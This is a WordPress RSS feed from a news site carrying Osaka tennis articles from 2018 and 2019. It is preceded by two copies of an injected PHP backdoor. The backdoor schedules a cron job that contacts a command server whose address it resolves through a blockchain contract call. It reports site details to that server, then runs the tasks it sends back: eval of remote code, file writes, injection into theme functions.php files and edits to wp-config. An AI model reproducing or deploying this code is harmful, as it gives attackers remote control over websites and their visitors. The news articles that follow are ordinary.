// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Osaka – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 26 Jan 2019 18:41:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Osaka – Brief News https://briefnews.eu 32 32 Cringeworthy: Jones savaged for Osaka interview https://briefnews.eu/cringeworthy-jones-savaged-for-osaka-interview/ https://briefnews.eu/cringeworthy-jones-savaged-for-osaka-interview/#respond Sat, 26 Jan 2019 18:41:38 +0000 http://briefnews.eu/cringeworthy-jones-savaged-for-osaka-interview/ Tony Jones has been lashed on social media for what has been described as a “patronizing” and “embarrassing” interview with Australian Open champion Naomi Osaka.

Jones, who headed up Channel 9’s coverage for the women’s final on Saturday night, was slammed as “terrible” and “cringeworthy”.

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Osaka, 21, walked from Rod Laver Arena to the Channel 9 set – next to Margaret Court Arena – with the Daphne Akhurst Memorial Cup in hand after her second grand slam victory in six months, only for Jones to say that he was “not sure how you carried it all this way”.

As Osaka awkwardly searched for a response, he exclaimed “there’s the smile”.

“I’m always smiling,” the Japanese star said.

He then proceeded to ask Osaka how she planned to spend her $ 4.1 million prize cheque, declaring “we would love you to pump that back into the economy”, and was criticized on Twitter for his handling of a question regarding Osaka’s heritage.

“Your grandparents back at Japan and you left Japan as three and you still regard yourself as a Japanese player,” he said.

“It took a time for your grandparents that you and your sisters wanted to play tennis and they finally came on board.”

As he crossed to the break, Jones was further whacked for saying that the “mixed singles” would be up next.

The match to follow was the mixed doubles final, featuring Australians Astra Sharma and John-Patrick Smith.

CHECK OUT THE REACTION

MIXED SINGLES?

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]]> https://briefnews.eu/cringeworthy-jones-savaged-for-osaka-interview/feed/ 0 ‘How could you?’: Journo turns on Osaka https://briefnews.eu/how-could-you-journo-turns-on-osaka/ https://briefnews.eu/how-could-you-journo-turns-on-osaka/#respond Thu, 24 Jan 2019 11:32:58 +0000 http://briefnews.eu/how-could-you-journo-turns-on-osaka/ Naomi Osaka has shown moments of invincibility on her way to the final of the Australian Open, but she let the world in on a sore spot she’s always carried in her post-match press conference.

Still beaming after qualifying for her first Australian Open final, the 21-year-old let her guard down in a lighthearted press conference on Thursday evening — but she would come to regret her easygoing nature when one reporter suddenly turned on her.

Osaka is through to Saturday night’s final where she will face off with Czech power-hitter Petra Kvitova when the two stars will go head to head for the No. 1 ranking.

It was her incredible journey from inconsistent teenager to potentially Japan’s first ever man or woman to snatch the No. 1 honour that brought about her discomfort in her press conference.

Osaka mentioned briefly about how she felt for a long period after first emerging on the WTA Tour that she was unable to push through a ceiling to reach the second week of grand slam tournaments and to reach the late rounds of big tournaments.

She admitted she still has a chip on her shoulder about receiving questions at the time — as recent as 12 months ago — about her failure to push past the first three rounds in grand slams.

It was only at the 2018 Australian Open that she reached the last 16 at a major for the first time.

After more than two years of failing to crack the second week, she was simply sick of hearing about it in her post-match interviews.

It’s why one reporter’s wisecrack on Thursday brought her undone with a cheeky, wounded reaction.

She was asked if, even for incredible success at just 21 years of age, if it has felt like it has been a long road for her to establish herself, despite her grand slam success after a couple years on the WTA Tour not being “normal”.

“Man, for me it feels like it took a while,” she said.

“Like, I’ve always wanted to get to the second week. I only did that last year for the first time here. It definitely means a lot that I’ve gotten to the final here, of course.

“Definitely I remember all the matches that I lost in the third round. Especially since after you guys are so nice to me and you ask me, ‘How does it feel to always be stuck in the third round?’ Yeah, that definitely makes me feel a lot better.”

The bold reporter seized his moment and struck.

“How did it feel to be stuck in the third round,” he asked.

Osaka was mock-horrified.

“How could you,” she said as a huge grin began to break through her stern expression. “It felt great.

“I’ve been in the third round. I was stuck there for two years. As soon as I could break away from that, now I’m here again, I think it’s just experience and a confidence issue for me it’s always felt like.”

Her quick-witted response was just the latest in a series of hilarious moments where Osaka has sparred with the press.

After her quarter-final win on Wednesday she shut down her post-match, on-court interview with Channel 9.

“Sorry, I know it’s going to be tough no matter who I play, but I’m just trying to go inside because it’s a little bit hot right now,” a distracted Osaka said.

When asked if she wanted to end the interview she said: “Yeah, I’m sorry”.

She also got the crowd giggling on Rod Laver Arena after her tough win over Karolina Pliskova earlier on Thursday.

As she so often does, Osaka had the crowd in stitches with her on-court interview that discussed her second serves, thoughts on the roof being closed and her post-match routine.

“I was expecting a really hard battle. I told myself to regroup in the third set and no matter what just try as hard as I can, and I managed to win,” Osaka said.

“I was so scared on those second serves. I was like, ‘Oh God, please!’

“I like the heat so I was kind of sad about that (the roof being shut).

“They had the roof open (earlier) and I was like, ‘Oh, it’s my time to shine.’

“I’m gonna go to sleep. And then maybe after that I might walk but probably not to be honest.”

It’s not hard to see why she has quickly become one of the most popular players in tennis right now.

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]]> https://briefnews.eu/how-could-you-journo-turns-on-osaka/feed/ 0 Osaka to sign mega-money Adidas deal that could rival Serena in highest paid stakes – reports https://briefnews.eu/osaka-to-sign-mega-money-adidas-deal-that-could-rival-serena-in-highest-paid-stakes-reports/ https://briefnews.eu/osaka-to-sign-mega-money-adidas-deal-that-could-rival-serena-in-highest-paid-stakes-reports/#respond Thu, 13 Sep 2018 13:37:35 +0000 http://briefnews.eu/osaka-to-sign-mega-money-adidas-deal-that-could-rival-serena-in-highest-paid-stakes-reports/ US Open champion, and Serena Williams conqueror, Naomi Osaka is reportedly set to sign the biggest-ever deal for a female athlete with sports giant Adidas, that could see her rival Williams as the world’s highest-paid sportswoman.

Fresh from pocketing a $ 3.8 million check from winning the US Open on Saturday, Osaka is now set to pen a clothing deal with the German sports manufacturing giant that could see her take on Williams, the woman she defeated to win the title, for her Forbes number one highest-paid female athlete ranking.

Osaka already earns a six-figure salary with Adidas, which is due to expire at the end of the year. The Times reports a $ 8.5 million deal is being lined up for the 20-year-old, enjoying newfound global recognition after her maiden Grand Slam win.

With the new deal, reports suggest Osaka could climb the Forbes ladder to become the second-highest paid player of 2018, ahead of Caroline Wozniacki but just behind Williams, but she will have to go some way to matching the all-time tennis great.

Read more


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Despite collecting just $ 62,000 between June 2017 and June 2018 due to a break to have her daughter Olympia, Williams earned $ 18.1 million to be the world’s top-earning female athlete thanks to a lucrative endorsement portfolio.

As well as her mega-money Nike deal, Williams also boasts deals with top brands such as Intel, Audemars Piguet, JPMorgan Chase, Lincoln, Gatorade and Beats.

READ MORE: ‘Disturbed’ umpires consider boycotting games, forming union over Serena ‘sexism’ spat – report

The move could be smart business from Adidas, pitting the younger Osaka against the 36-year-old Williams, who is one of the most prominent faces of rivals Nike, and who will have no doubt lost some public favor after her shocking outburst during their match.

Williams launched into a tirade of abuse directed at umpire Carlos Ramos, calling the official a “liar” and a “thief”, then later accusing him of sexism, after he penalized her for on-court infractions. The 23-time Grand Slam winner was later fined $ 17,000 for her behavior.

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]]> https://briefnews.eu/osaka-to-sign-mega-money-adidas-deal-that-could-rival-serena-in-highest-paid-stakes-reports/feed/ 0 Naomi Osaka is reportedly set to sign Adidas’ biggest ever deal with a female athlete — and it could make her one of the highest-paid women in sports https://briefnews.eu/naomi-osaka-is-reportedly-set-to-sign-adidas-biggest-ever-deal-with-a-female-athlete-and-it-could-make-her-one-of-the-highest-paid-women-in-sports/ https://briefnews.eu/naomi-osaka-is-reportedly-set-to-sign-adidas-biggest-ever-deal-with-a-female-athlete-and-it-could-make-her-one-of-the-highest-paid-women-in-sports/#respond Wed, 12 Sep 2018 10:25:39 +0000 http://briefnews.eu/naomi-osaka-is-reportedly-set-to-sign-adidas-biggest-ever-deal-with-a-female-athlete-and-it-could-make-her-one-of-the-highest-paid-women-in-sports/ Naomi OsakaAP Images

  • Naomi Osaka could sign the biggest deal Adidas has ever agreed with a female athlete.
  • The deal, believed to be worth $ 8.5 million, could be announced on Thursday.
  • The new agreement comes hot on the heels of Osaka’s straight sets victory over Serena Williams, a match now notorious because of a global fallout.
  • Osaka’s new deal with Adidas is said to be a reflection of the 20-year-old’s increased fame.
  • And it could even be a sign of things to come, as Osaka is now seen as “a branding sensation.”

Naomi Osaka is reportedly set to sign the biggest deal Adidas has ever agreed with a female athlete.

Osaka, a 20-year-old tennis player, just won the 2018 US Open — her first ever Grand Slam title. She defeated 23-time major winner Serena Williams in straight sets, 6-2, 6-4, on Saturday at the Arthur Ashe Stadium in New York, and collected a $ 3.8 million pay check.

See the rest of the story at Business Insider

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SEE ALSO: An Australian newspaper printed a cartoon showing Serena Williams as an angry baby

DON’T MISS: This is what ‘coaching’ means in tennis — and why Serena Williams was penalized for it

UP NEXT: The cartoonist who turned Serena Williams into an angry baby doesn’t think his drawing is racist and says ‘the world has just gone crazy’

]]> https://briefnews.eu/naomi-osaka-is-reportedly-set-to-sign-adidas-biggest-ever-deal-with-a-female-athlete-and-it-could-make-her-one-of-the-highest-paid-women-in-sports/feed/ 0 Naomi Osaka stuns Serena Williams in controversial U.S. Open final https://briefnews.eu/naomi-osaka-stuns-serena-williams-in-controversial-u-s-open-final/ https://briefnews.eu/naomi-osaka-stuns-serena-williams-in-controversial-u-s-open-final/#respond Sun, 09 Sep 2018 03:33:31 +0000 http://briefnews.eu/naomi-osaka-stuns-serena-williams-in-controversial-u-s-open-final/ The events and the arguing and the booing that would make this a U.S. Open final unlike any other began when Serena Williams' coach made what she insisted was an innocent thumbs-up, but the chair umpire interpreted as a helpful signal.

It was the second game of the second set Saturday, in a packed Arthur Ashe Stadium, and Williams' bid for a record-tying 24th Grand Slam title already was in real trouble because she was being outplayed by first-time major finalist Naomi Osaka.

Chair umpire Carlos Ramos warned Williams for getting coaching during a match, which isn't allowed. She briefly disputed that ruling, saying cheating "is the one thing I've never done, ever." A few games later, Williams received another warning, this time for smashing her racket, and that second violation cost her a point, drawing more arguing. Eventually, Willams called Ramos "a thief," drawing a third violation — and costing her a game.

"I have never cheated in my life!" Williams told Ramos. "You owe me an apology."

Watch the controversial decision from the chair empire:

Williams was given a 3rd code violation in the 2nd set of the U.S. Open Final, resulting in the loss of a game. Naomi Osaka would go on to with the match in straight sets 6-2, 6-4. 3:47

Soon, Osaka was finishing off a 6-2, 6-4 victory that made her the first player from Japan to win a Grand Slam singles title. That is not, however, what will be remembered about this match.

Watch highlights from Osaka's championship win:

